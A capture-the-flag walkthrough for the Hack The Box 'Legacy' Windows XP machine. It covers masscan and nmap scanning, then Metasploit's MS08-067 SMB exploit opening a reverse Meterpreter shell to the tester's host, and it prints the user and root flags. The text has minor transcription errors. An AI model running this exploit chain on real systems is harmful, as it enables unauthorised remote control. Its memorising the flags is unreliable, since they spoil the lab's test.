## INFO GATHERING

Legay: 10.10.10.4 Difficulty: Easy OS: Windows

Beginner-level machine that has SMB security risks on Windows.

# export ip=10.10.10.4 # ./htbscan.py \$ip 300

Running command: sudo masscan -e tun0 -p0-65535 --max-rate 300 --interactive 10.10.10.4

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-07-26 18:12:22 GMT

-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth

Initiating SYN Stealth Scan

Scanning 1 hosts [65536 ports/host]

Discovered open port 445/tcp on 10.10.10.4 Discovered open port 139/tcp on 10.10.10.4

rate: 0.00-kpps, 100.00% done, waiting -164-secs, found=2 rate: 0.00-kpps, 100.00% done, waiting -363-secs, found=2 rate: 0.00-kpps, 100.00% done, waiting -363-secs, found=2

Running command: sudo nmap -A -p139,445 10.10.10.4

Starting Nmap 7.60 (https://nmap.org) at 2018-07-26 19:22 BST

Stats: 0:00:01 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan

NSE Timing: About 0.00% done

Stats: 0:00:29 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan

NSE Timing: About 98.91% done; ETC: 19:23 (0:00:00 remaining)

Stats: 0:02:49 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan

NSE Timing: About 99.64% done; ETC: 19:25 (0:00:01 remaining)

Stats: 0:02:49 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan

NSE Timing: About 99.64% done; ETC: 19:25 (0:00:01 remaining)

Nmap scan report for 10.10.10.4

Host is up (0.13s latency).

## PORT STATE SERVICE VERSION

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Windows XP microsoft-ds

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Device type: general purpose

Running (JUST GUESSING): Microsoft Windows 2000|XP|2003 (90%)

OS CPE: cpe:/o:microsoft:windows 2000::sp4 cpe:/o:microsoft:windows xp::sp2 cpe:/

o:microsoft:windows\_xp::sp3 cpe:/o:microsoft:windows\_server\_2003

Aggressive OS guesses: Microsoft Windows 2000 SP4 or Windows XP SP2 or SP3 (90%),

Microsoft Windows XP SP2 or Windows Small Business Server 2003 (90%), Microsoft Windows XP SP2 (89%), Microsoft Windows Server 2003 (87%), Microsoft Windows XP SP2 or SP3 (87%), Microsoft Windows XP SP3 (87%), Microsoft Windows XP Professional SP2 (86%), Microsoft Windows XP Professional SP3 (86%), Microsoft Windows XP Professional SP3 (86%), Microsoft Windows XP

SP2 or Windows Server 2003 (86%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/

o:microsoft:windows xp

Host script results:

clock-skew: mean: -3h00m32s, deviation: 0s, median: -3h00m32s

```
| nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:a2:9e:89 (VMware) | smb-os-discovery: | OS: Windows XP (Windows 2000 LAN Manager) | OS CPE: cpe:/o:microsoft:windows_xp::- | Computer name: legacy | NetBIOS computer name: LEGACY\x00 | Workgroup: HTB\x00 | System time: 2018-07-26T18:22:21+03:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported | message_signing: disabled (dangerous, but default) | smb2-time: Protocol negotiation failed (SMB2)
```

From this we know that port 445 is open and running SMB and that the OS is Windows XP. With this information we can use the well known SMB vulnerability exploit from metasploit ms08 67 netapi

```
oot@kali:~/legacy# msfconsole -q
msf > use exploit/windows/smb/ms08 067 netapi
<u>msf</u> exploit(windows/smb/ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08 067 netapi):
  Name
            Current Setting Required Description
  RHOST
                             yes
                                        The target address
  RPORT
            445
                             yes
                                        The SMB service port (TCP)
  SMBPIPE BROWSER
                                        The pipe name to use (BROWSER, SRVSVC)
                             yes
                                                      Welcome to 192.168.56.103
Exploit target:
  Id Name
  0
       Automatic Targeting
<u>msf</u> exploit(windows/smb/ms08_067_netapi) > set RHOST 10.10.10.4
RHOST => 10.10.10.4
<u>msf</u> exploit(windows/smb/ms08<u>067_netapi)</u> set LHOST 10.10.14.8
LHOST => 10.10.14.8
<u>msf</u> exploit(windows/smb/ms08_067_netapi) > exploit
[*] Started reverse TCP handler on 10.10.14.8:4444
[*] 10.10.10.4:445 - Automatically detecting the target...
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179779 bytes) to 10.10.10.4
[*] Meterpreter session 1 opened (10.10.14.8:4444 -> 10.10.10.4:1028) at 2018-07-26 19:54:29 +0100
<u>meterpreter</u> > sysinfo
                : LEGACY
Computer
0S
                : Windows XP (Build 2600, Service Pack 3).
Architecture
                : x86
System Language : en US
Domain
                : HTB
Logged On Users : 1
Meterpreter
                : x86/windows
meterpreter >
```

msf > use exploit/windows/smb/ms08\_067\_netapi msf exploit(windows/smb/ms08\_067\_netapi) > show options msf exploit(windows/smb/ms08\_067\_netapi) > set RHOST 10.10.10.4 msf exploit(windows/smb/ms08\_067\_netapi) > set LHOST 10.10.14.8 msf exploit(windows/smb/ms08\_067\_netapi) > exploit

Then go to C:\Documents and Settings\username\Desktop\ and you will find the flag for each user.

## **FLAGS**

User: e69af0e4f443de7e36876fda4ec7644f Root: 993442d258b0e0ec917cae9e695d5713

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